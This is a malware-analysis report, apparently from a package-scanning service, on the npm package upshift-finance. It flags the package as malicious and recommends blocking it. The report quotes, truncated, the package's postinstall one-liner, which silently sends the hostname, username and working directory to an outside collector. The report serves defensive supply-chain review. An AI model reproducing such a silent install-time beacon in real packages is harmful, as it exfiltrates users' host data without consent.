## Security analysis

### Published attack-surface review

- **Summary:** Installing the package triggers hidden host-identifying telemetry exfiltration. The lifecycle script transmits local user and path information to a remote collector without user action.

- **Trigger:** npm install lifecycle execution

- **Impact:** Discloses local username, hostname, working directory, package identity, and install time.

- **Evidence paths:** package.json, lib/index.js, lib/core/analytics/sentry-runtime.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-11T10:16:03.730Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** postinstall HTTPS exfiltration of host metadata

- **Attack narrative:** On installation, package.json runs an inline Node command. It gathers npm package name/version, OS hostname, OS account username, current working directory, and a timestamp, serializes them into the request URL, and sends them to build-metrics-collector.cdn-ops-health.workers.dev. Errors are silently ignored, making the transmission unobtrusive.

- **Rationale:** The unconsented postinstall collection and remote transmission of local host/user/path data is concrete install-time exfiltration. The runtime SDK code does not mitigate that behavior.

- **Files touched:** package.json

- **Network endpoints:** https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** package.json postinstall executes automatically on npm install., It sends hostname, local username, working directory, package metadata, and timestamp to an unrelated collector., The HTTPS request is wrapped in try/catch, suppressing failures.

- **Evidence against:** lib/index.js is a conventional SDK export entrypoint., No source file writes or shell/child-process execution found in inspected package code., sentry-runtime.js uses new Function only to load the appropriate Sentry dependency.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/upshift-finance@1.0.0/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node -e "try{require('https').get('https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/'+encodeURIComponent(JSON.stringify({p:process.env.npm[redacted]||'?',v...
```

### 2. Critical: Red Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 95.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/upshift-finance@1.0.0/package.json>)

Install-time lifecycle script matches a deterministic static-gate block pattern.

Public source snippet (untrusted):

```json
scripts.postinstall = node -e "try{require('https').get('https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/'+encodeURIComponent(JSON.stringify({p:process.env.npm[redacted]||'?',v...
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. Low: Eval
- **Category:** Source
- **Confidence:** 45.0%
- **Path:** lib/core/analytics/sentry-runtime.js
- **Public source:** [View source](<https://unpkg.com/upshift-finance@1.0.0/lib/core/analytics/sentry-runtime.js>)

Package source references a known benign dynamic code generation pattern.

Public source snippet (untrusted):

```javascript
L32: // `require('@sentry/node')`, which breaks the browser bundle.
L33: const req = new Function('return typeof require === "function" ? require : null')();
L34: return typeof req === 'function' ? req : null;
```

### 5. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 6. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 7. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 8. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 9. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 70.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.
